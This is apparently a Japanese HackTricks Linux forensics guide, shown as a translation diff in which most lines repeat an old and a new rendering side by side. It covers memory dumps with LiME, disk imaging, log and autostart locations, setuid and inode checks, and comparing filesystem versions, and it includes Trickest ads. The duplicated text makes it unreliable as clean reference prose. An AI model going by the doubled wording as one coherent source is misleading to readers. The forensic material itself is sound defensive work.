- **Rootプロセス** は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑うべきです * **ルートプロセス**は通常、低いPIDで実行されるため、大きなPIDを持つルートプロセスを見つけた場合は疑うべきです
- `/etc/passwd` 内でシェルを持たないユーザーの**登録済みログイン** を確認する * `/etc/passwd`内のシェルを持たないユーザーの**登録されたログイン**を確認します
- `/etc/shadow` 内でシェルを持たないユーザーの**パスワードハッシュ** を確認する * シェルを持たないユーザーのために、`/etc/shadow`内の**パスワードハッシュ**を確認します
### メモリダンプ ### メモリダンプ
実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME) を使用することをお勧めします。\ 実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\
**コンパイル** するには、被害者のマシンが使用している**同じカーネル** を使用する必要があります。 **コンパイル**するには、被害者のマシンが使用している**同じカーネル**を使用する必要があります。
{% hint style="info" %} {% hint style="info" %}
被害者のマシンに **LiME やその他の何かをインストールすることはできない** ため、それに多くの変更を加えてしまいます 被害者のマシンに**LiMEやその他のものをインストールすることはできない**ことを覚えておいてください。そうすると、いくつかの変更が加わります
{% endhint %} {% endhint %}
したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます。\ したがって、同一のUbuntuバージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます。\
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME) をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー** を取得するには、単にディレクトリ `/lib/modules/<kernel version>` をあなたのマシンにコピーし、それを使用して LiME を**コンパイル** します: 他の場合は、githubから[**LiME**](https://github.com/504ensicsLabs/LiME)をダウンロードし、正しいカーネルヘッダーでコンパイルする必要があります。被害者のマシンの**正確なカーネルヘッダー**を取得するには、単に`/lib/modules/<kernel version>`ディレクトリを自分のマシンに**コピー**し、それを使用してLiMEを**コンパイル**します:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiMEは3つの**フォーマット**をサポートしています: LiMEは3つの**フォーマット**をサポートしています:
- Rawすべてのセグメントが連結されたもの * Rawすべてのセグメントが連結されたもの
- PaddedRawと同じですが、右ビットにゼロが入っています) * PaddedRawと同じですが、右側のビットにゼロが追加されています)
- Limeメタデータを含む推奨されるフォーマット) * Limeメタデータ付きの推奨フォーマット)
LiMEは、`path=tcp:4444`のような方法を使用して、システムに保存せずに**ダンプをネットワーク経由で送信**することもできます。 LiMEは、`path=tcp:4444`のようなもので、**システムに保存する代わりにネットワーク経由でダンプを送信する**こともできます。
### ディスクイメージング ### ディスクイメージング
#### シャットダウン #### シャットダウン
まず第一に、**システムをシャットダウンする必要があります**。これは常に選択肢としてはない場合があります。なぜなら、システムが企業がシャットダウンする余裕のない本番サーバーであることがあります。\ まず最初に、**システムをシャットダウンする**必要があります。これは常に選択肢ではなく、時にはシステムが会社がシャットダウンできないプロダクションサーバーであることがあります。\
システムをシャットダウンする方法には、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つがあります。前者は**プロセスが通常通り終了**し、**ファイルシステム**が**同期**されることを可能にしますが、**悪意のあるソフトウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチは、**いくらかの情報損失**を伴う場合があります(メモリのイメージをすでに取得しているため、失われる情報はほとんどありません)が、**悪意のあるソフトウェア**が何もできないでしょう。したがって、**悪意のあるソフトウェア**がある可能性がある場合は、システムで**`sync`** **コマンド**を実行してプラグを抜いてください。 システムをシャットダウンするには**2つの方法**があります:**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了し**、**ファイルシステム**が**同期される**ことができますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまりありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの可能性がある**と**疑う**場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。
#### ディスクのイメージを取得する #### ディスクのイメージを取得する
**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用でマウント**されることを確認する必要があります。 **ケースに関連する何かにコンピュータを接続する前に**、**読み取り専用としてマウントされる**ことを確認することが重要です。情報を変更しないようにするためです。
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -100,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
``` ```
### ディスクイメージの事前分析 ### ディスクイメージの事前分析
データを追加しない状態でディスクイメージを作成します データがこれ以上ないディスクイメージをイメージングする
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -156,23 +157,23 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセス: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## 既知のマルウェアを検索 ## 既知のマルウェアを検索
### 変更されたシステムファイル ### 修正されたシステムファイル
Linuxには、潜在的に問題のあるファイルを見つけるために重要なシステムコンポーネントの整合性を確認するためのツールが用意されています。 Linuxは、潜在的に問題のあるファイルを特定するために重要なシステムコンポーネントの整合性を確保するためのツールを提供します。
* **RedHatベースのシステム**: 総合的なチェックには `rpm -Va` を使用します。 * **RedHatベースのシステム**: `rpm -Va`を使用して包括的なチェックを行います。
* **Debianベースのシステム**: 初期検証には `dpkg --verify` を使用し、その後 `debsums | grep -v "OK$"``apt-get install debsums` を使用して `debsums` をインストールした後)を使用して問題を特定します。 * **Debianベースのシステム**: 初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"``apt-get install debsums`で`debsums`をインストールした後)を実行して問題を特定します。
### マルウェア/ルートキット検出ツール ### マルウェア/ルートキット検出ツール
マルウェアを見つけるのに役立つツールについて学ぶには、以下のページを参照してください: マルウェアを見つけるのに役立つツールについて学ぶには、以下のページをお読みください:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
@ -180,12 +181,12 @@ Linuxには、潜在的に問題のあるファイルを見つけるために重
## インストールされたプログラムを検索 ## インストールされたプログラムを検索
DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。 DebianおよびRedHatシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを併用することを検討してください。
* Debianの場合、パッケージのインストールに関する詳細を取得するには、_**`/var/lib/dpkg/status`**_ と _**`/var/log/dpkg.log`**_ を調査し、`grep` を使用して特定の情報をフィルタリングします。 * Debianの場合、_**`/var/lib/dpkg/status`**_および_**`/var/log/dpkg.log`**_を確認してパッケージインストールの詳細を取得し、`grep`を使用して特定の情報をフィルタリングします。
* RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm` を使用してRPMデータベースをクエリし、インストールされたパッケージをリストします。 * RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してインストールされたパッケージのリストを取得できます。
これらのパッケージマネージャーの外で手動でインストールされたソフトウェアを特定するには、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、_**`/sbin`**_ などのディレクトリを調査します。ディレクトリリストをシステム固有のコマンドと組み合わせて使用し、既知のパッケージに関連付けられていない実行可能ファイルを特定することで、すべてのインストールされたプログラムを検索を強化します。 これらのパッケージマネージャーの外で手動でインストールされたソフトウェアを明らかにするために、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、および_**`/sbin`**_のようなディレクトリを探索します。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、インストールされたすべてのプログラムの検索を強化します。
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,20 +205,20 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## 削除された実行中のバイナリの回復 ## 削除された実行中のバイナリを復元する
/tmp/exec から実行され、その後削除されたプロセスを想像してください。それを抽出することが可能です /tmp/execから実行され、その後削除されたプロセスを想像してみてください。それを抽出することが可能です
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
``` ```
## Autostart の場所を調査する ## 自動起動場所の検査
### スケジュールされたタスク ### スケジュールされたタスク
```bash ```bash
@ -235,92 +236,92 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
``` ```
### サービス ### サービス
マルウェアがインストールされている可能性のあるパス: マルウェアがサービスとしてインストールされる可能性のあるパス:
- **/etc/inittab**rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。 * **/etc/inittab**: rc.sysinitのような初期化スクリプトを呼び出し、さらにスタートアップスクリプトに指示します。
- **/etc/rc.d/** および **/etc/rc.boot/**サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。 * **/etc/rc.d/** および **/etc/rc.boot/**: サービスのスタートアップ用スクリプトを含み、後者は古いLinuxバージョンで見られます。
- **/etc/init.d/**Debianなどの特定のLinuxバージョンで使用され、起動スクリプトを格納します。 * **/etc/init.d/**: Debianのような特定のLinuxバージョンでスタートアップスクリプトを保存するために使用されます。
- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** からも起動される可能性があります。 * サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** を介してもアクティブ化されることがあります。
- **/etc/systemd/system**システムおよびサービスマネージャースクリプト用のディレクトリ。 * **/etc/systemd/system**: システムおよびサービスマネージャースクリプト用のディレクトリ。
- **/etc/systemd/system/multi-user.target.wants/**:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。 * **/etc/systemd/system/multi-user.target.wants/**: マルチユーザーランレベルで起動すべきサービスへのリンクを含みます。
- **/usr/local/etc/rc.d/**カスタムまたはサードパーティのサービス用。 * **/usr/local/etc/rc.d/**: カスタムまたはサードパーティのサービス用。
- **\~/.config/autostart/**:ユーザー固有の自動起動アプリケーション用であり、ユーザーを標的としたマルウェアの隠れた場所となる可能性があります。 * **\~/.config/autostart/**: ユーザー固有の自動スタートアプリケーション用で、ユーザーをターゲットにしたマルウェアの隠れ場所になる可能性があります。
- **/lib/systemd/system/**インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。 * **/lib/systemd/system/**: インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。
### カーネルモジュール ### カーネルモジュール
マルウェアによってルートキットコンポーネントとしてよく使用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです: Linuxカーネルモジュールは、マルウェアによってルートキットコンポーネントとして利用されることが多く、システムブート時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです:
- **/lib/modules/$(uname -r)**:実行中のカーネルバージョン用のモジュールを保持します。 * **/lib/modules/$(uname -r)**: 実行中のカーネルバージョンのモジュールを保持します。
- **/etc/modprobe.d**:モジュールのロードを制御する構成ファイルが含まれています。 * **/etc/modprobe.d**: モジュールのロードを制御するための設定ファイルを含みます。
- **/etc/modprobe** および **/etc/modprobe.conf**グローバルモジュール設定用のファイル。 * **/etc/modprobe** および **/etc/modprobe.conf**: グローバルモジュール設定用のファイル。
### その他の自動起動場所 ### その他の自動スタート場所
Linuxは、ユーザーログイン時に自動的にプログラムを実行するためにさまざまなファイルを使用し、潜在的にマルウェアを隠す可能性があります: Linuxは、ユーザーログイン時にプログラムを自動的に実行するためのさまざまなファイルを使用し、マルウェアを隠す可能性があります:
- **/etc/profile.d/**\*、**/etc/profile**、および **/etc/bash.bashrc**すべてのユーザーログイン時に実行されます。 * **/etc/profile.d/**\*, **/etc/profile**、および **/etc/bash.bashrc**: すべてのユーザーログイン時に実行されます。
- **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。 * **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**: ユーザー固有のファイルで、ログイン時に実行されます。
- **/etc/rc.local**すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。 * **/etc/rc.local**: すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。
## ログの調査 ## ログの調査
Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります: Linuxシステムは、さまざまなログファイルを通じてユーザーの活動やシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、その他のセキュリティインシデントを特定するために重要です。主要なログファイルには以下が含まれます:
- **/var/log/syslog**Debianまたは **/var/log/messages**RedHatシステム全体のメッセージとアクティビティをキャプチャします。 * **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージや活動をキャプチャします。
- **/var/log/auth.log**Debianまたは **/var/log/secure**RedHat認証試行、成功および失敗したログインを記録します。 * **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功したログインおよび失敗したログインを記録します。
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。 * `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
- **/var/log/boot.log**:システムの起動メッセージが含まれています。 * **/var/log/boot.log**: システム起動メッセージを含みます。
- **/var/log/maillog** または **/var/log/mail.log**:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。 * **/var/log/maillog** または **/var/log/mail.log**: メールサーバーの活動をログに記録し、メール関連サービスの追跡に役立ちます。
- **/var/log/kern.log**:エラーや警告を含むカーネルメッセージを保存します。 * **/var/log/kern.log**: カーネルメッセージを保存し、エラーや警告を含みます。
- **/var/log/dmesg**デバイスドライバーメッセージを保持します。 * **/var/log/dmesg**: デバイスドライバーメッセージを保持します。
- **/var/log/faillog**失敗したログイン試行を記録し、セキュリティ侵害の調査に役立ちます。 * **/var/log/faillog**: 失敗したログイン試行を記録し、セキュリティ侵害の調査に役立ちます。
- **/var/log/cron**cronジョブの実行を記録します。 * **/var/log/cron**: cronジョブの実行をログに記録します。
- **/var/log/daemon.log**:バックグラウンドサービスのアクティビティを追跡します。 * **/var/log/daemon.log**: バックグラウンドサービスの活動を追跡します。
- **/var/log/btmp**失敗したログイン試行を文書化します。 * **/var/log/btmp**: 失敗したログイン試行を文書化します。
- **/var/log/httpd/**Apache HTTPDのエラーおよびアクセスログが含まれています。 * **/var/log/httpd/**: Apache HTTPDのエラーログとアクセスログを含みます。
- **/var/log/mysqld.log** または **/var/log/mysql.log**MySQLデータベースのアクティビティを記録します。 * **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLデータベースの活動をログに記録します。
- **/var/log/xferlog**FTPファイル転送を記録します。 * **/var/log/xferlog**: FTPファイル転送を記録します。
- **/var/log/**:予期しないログがないか常に確認してください。 * **/var/log/**: ここで予期しないログを常に確認してください。
{% hint style="info" %} {% hint style="info" %}
Linuxシステムのログと監査サブシステムは、侵害やマルウェアのインシデントで無効になるか削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の逆転を探すことが重要です。 Linuxシステムのログおよび監査サブシステムは、侵入やマルウェアインシデントの際に無効化または削除される可能性があります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが一般的であるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候である可能性のあるギャップや順序が乱れたエントリを探すことが重要です。
{% endhint %} {% endhint %}
**Linuxは各ユーザーのコマンド履歴を維持**しており、以下に保存されています: **Linuxは各ユーザーのコマンド履歴を保持します**。これは以下に保存されます:
- \~/.bash\_history * \~/.bash\_history
- \~/.zsh\_history * \~/.zsh\_history
- \~/.zsh\_sessions/\* * \~/.zsh\_sessions/\*
- \~/.python\_history * \~/.python\_history
- \~/.\*\_history * \~/.\*\_history
さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知または予期しないログインがないか確認してください。 さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知または予期しないログインがないか確認してください。
追加の特権を付与できるファイルを確認してください 追加の権限を付与できるファイルを確認します
- 予期しないユーザー特権を確認するために `/etc/sudoers` を確認してください * 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers` を確認します
- 予期しないユーザー特権を確認するために `/etc/sudoers.d/` を確認してください * 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/` を確認します
- 異常なグループメンバーシップや権限を特定するために `/etc/groups` を調べてください * 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調査します
- 異常なグループメンバーシップや権限を特定するために `/etc/passwd` を調べてください * 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調査します
一部のアプリケーションは独自のログを生成する場合があります: 一部のアプリも独自のログを生成します:
- **SSH**_\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調べて、不正なリモート接続を確認してください * **SSH**: 不正なリモート接続のために _\~/.ssh/authorized\_keys_ と _\~/.ssh/known\_hosts_ を調査します
- **Gnome Desktop**Gnomeアプリケーションを介して最近アクセスされたファイルを示す _\~/.recently-used.xbel_ を調べてください * **Gnomeデスクトップ**: Gnomeアプリケーションを介して最近アクセスされたファイルのために _\~/.recently-used.xbel_ を確認します
- **Firefox/Chrome**_\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認し、不審なアクティビティを見つけてください * **Firefox/Chrome**: 疑わしい活動のために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認します
- **VIM**:アクセスされたファイルパスや検索履歴などの使用詳細を示す _\~/.viminfo_ を確認してください * **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細のために _\~/.viminfo_ を確認します
- **Open Office**:侵害されたファイルを示す可能性のある最近のドキュメントアクセスを確認してください * **Open Office**: 侵害されたファイルを示す可能性のある最近の文書アクセスを確認します
- **FTP/SFTP**_\~/.ftp\_history_ または _\~/.sftp\_history_ のログを調べて、許可されていないファイル転送を見つけてください * **FTP/SFTP**: 不正なファイル転送の可能性があるため、_ \~/.ftp\_history_ または _\~/.sftp\_history_ のログを確認します
- **MySQL**実行されたMySQLクエリを示す _\~/.mysql\_history_ を調査し、許可されていないデータベースアクティビティを明らかにしてください * **MySQL**: 不正なデータベース活動を明らかにする可能性のある実行されたMySQLクエリのために _\~/.mysql\_history_ を調査します
- **Less**:表示されたファイルや実行されたコマンドなどの使用履歴を分析する _\~/.lesshst_ を確認してください * **Less**: 表示されたファイルや実行されたコマンドを含む使用履歴のために _\~/.lesshst_ を分析します
- **Git**:リポジトリへの変更を示す _\~/.gitconfig_ およびプロジェクト _.git/logs_ を調べてください * **Git**: リポジトリの変更のために _\~/.gitconfig_ とプロジェクトの _.git/logs_ を調査します
### USBログ ### USBログ
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイルディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを作成する、純粋なPython 3で書かれた小さなソフトウェアです。 [**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイルディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを構築するために純粋なPython 3で書かれた小さなソフトウェアです。
**使用されたすべてのUSBデバイスを把握することは興味深い**ですし、許可されたUSBデバイスのリストを持っていると、「違反イベント」そのリストに含まれていないUSBデバイスの使用を見つけるのに役立ちます。 使用されたすべてのUSBを**知ることは興味深い**ことであり、"違反イベント"そのリストに含まれていないUSBの使用を見つけるために、承認されたUSBのリストがあるとさらに有用です。
### インストール ### インストール
```bash ```bash
@ -335,28 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
## ユーザーアカウントとログオンアクティビティのレビュー More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
不審な名前やアカウント、または既知の不正イベントに近接して作成または使用されたアカウントを探すために、_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、可能なsudoブルートフォース攻撃をチェックします。\ <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
さらに、ユーザーに与えられた予期しない特権を確認するために、_**/etc/sudoers**_や_**/etc/groups**_などのファイルをチェックします。\
最後に、**パスワードのないアカウント**や**簡単に推測できる**パスワードを持つアカウントを探します。 \
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## ユーザーアカウントとログオン活動のレビュー
_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べて、異常な名前やアカウントが作成または使用されているか、既知の不正イベントに近いかを確認します。また、sudoのブルートフォース攻撃の可能性もチェックしてください。\
さらに、_**/etc/sudoers**_や_**/etc/groups**_のようなファイルを確認し、ユーザーに与えられた予期しない特権を探します。\
最後に、**パスワードなし**または**簡単に推測できる**パスワードを持つアカウントを探します。
## ファイルシステムの調査 ## ファイルシステムの調査
### マルウェア調査におけるファイルシステム構造の分析 ### マルウェア調査におけるファイルシステム構造の分析
マルウェアインシデントを調査する際、ファイルシステムの構造は情報の重要な源であり、イベントの順序とマルウェアの内容を明らかにします。ただし、マルウェアの作者は、ファイルのタイムスタンプを変更したり、データ保存のためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています。 マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの著者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています。
これらのアンチフォレンジック手法に対抗するためには、次のことが重要です: これらのアンチフォレンジック手法に対抗するためには、以下が重要です:
* **Autopsy**などのツールを使用して**イベントタイムラインを視覚化**するための徹底的なタイムライン分析を実施します。または、**Sleuth Kit**の`mactime`を使用して詳細なタイムラインデータを取得します。 * **Autopsy**のようなツールを使用して**徹底的なタイムライン分析**を行い、イベントのタイムラインを視覚化するか、**Sleuth Kitの**`mactime`を使用して詳細なタイムラインデータを取得します。
* 攻撃者が使用するシェルやPHPスクリプトを含む、システムの$PATHに**予期しないスクリプトを調査**します。 * 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの$PATH内の**予期しないスクリプトを調査**します。
* 通常は特殊ファイルを含むはずの**/dev**を**非典型的なファイル**を探しますが、マルウェア関連のファイルが存在する可能性があります。 * **/dev**内の異常なファイルを**調査**します。通常は特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。
* ".. "(ドットドットスペース)や"..^G"ドットドットコントロールGなどの名前の**隠しファイルやディレクトリ**を検索します。これらは悪意のあるコンテンツを隠す可能性があります。 * **隠しファイルやディレクトリを検索**します。名前が「.. 」(ドットドットスペース)や「..^G」(ドットドットコントロール-G)のようなものは、悪意のあるコンテンツを隠している可能性があります。
* `find / -user root -perm -04000 -print`コマンドを使用して、**setuid rootファイル**を特定します。これは、攻撃者に悪用される可能性のある権限の昇格ファイルを見つけます。 * コマンドを使用して**setuid rootファイルを特定**します:`find / -user root -perm -04000 -print` これは、攻撃者によって悪用される可能性のある権限の高いファイルを見つけます。
* inodeテーブル内の**削除タイムスタンプ**を確認して、大量のファイル削除を検出します。これは、rootkitやトロイの存在を示す可能性があります。 * **inodeテーブル内の削除タイムスタンプをレビュー**し、大量のファイル削除を特定します。これは、rootkitやトロイの木馬の存在を示す可能性があります。
* 1つを特定した後、**隣接する悪意のあるファイルの連続したinode**を調査します。これらは一緒に配置されている可能性があります。 * 1つの悪意のあるファイルを特定した後、**連続するinodeを調査**し、近くに配置されている悪意のあるファイルを探します。
* **一般的なバイナリディレクトリ**_/bin_、_/sbin_で最近変更されたファイルをチェックします。これらはマルウェアによって変更されている可能性があります。 * **一般的なバイナリディレクトリ**(_/bin_、_/sbin_)内の最近変更されたファイルを**確認**します。これらはマルウェアによって変更されている可能性があります。
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -365,63 +376,63 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
{% hint style="info" %} {% hint style="info" %}
**攻撃者**が**ファイルを正規**に見せるために**時間を変更**できるが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じ**時間に作成および変更**されたと示す**ファイル**が**inode**が**予想外に大きい**場合、その**ファイルのタイムスタンプが変更された**ことがわかります 注意してください、**攻撃者**は**ファイルを合法的に見せるために** **時間**を**変更**することができますが、**inode**を**変更**することは**できません**。もし、**ファイル**が同じフォルダ内の他のファイルと**同時に作成および変更された**ことを示しているが、**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプは変更されています**
{% endhint %} {% endhint %}
## 異なるファイルシステムバージョンのファイルを比較 ## 異なるファイルシステムバージョンの比較
### ファイルシステムバージョン比較の要 ### ファイルシステムバージョン比較の
ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します: ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します:
* **新しいファイルを見つける**には、2つのディレクトリを比較します * **新しいファイルを見つけるために**、2つのディレクトリを比較します
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
* **変更されたコンテンツ**については、特定の行を無視して変更点をリストアップします。 * **変更されたコンテンツ**、特定の行を無視しながら変更をリストします:
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
* **削除されたファイルを検出するために**: * **削除されたファイルを検出する**:
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更絞り込むのに役立ちます。 * **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更絞り込むのに役立ちます。
* `A`: 追加されたファイル * `A`: 追加されたファイル
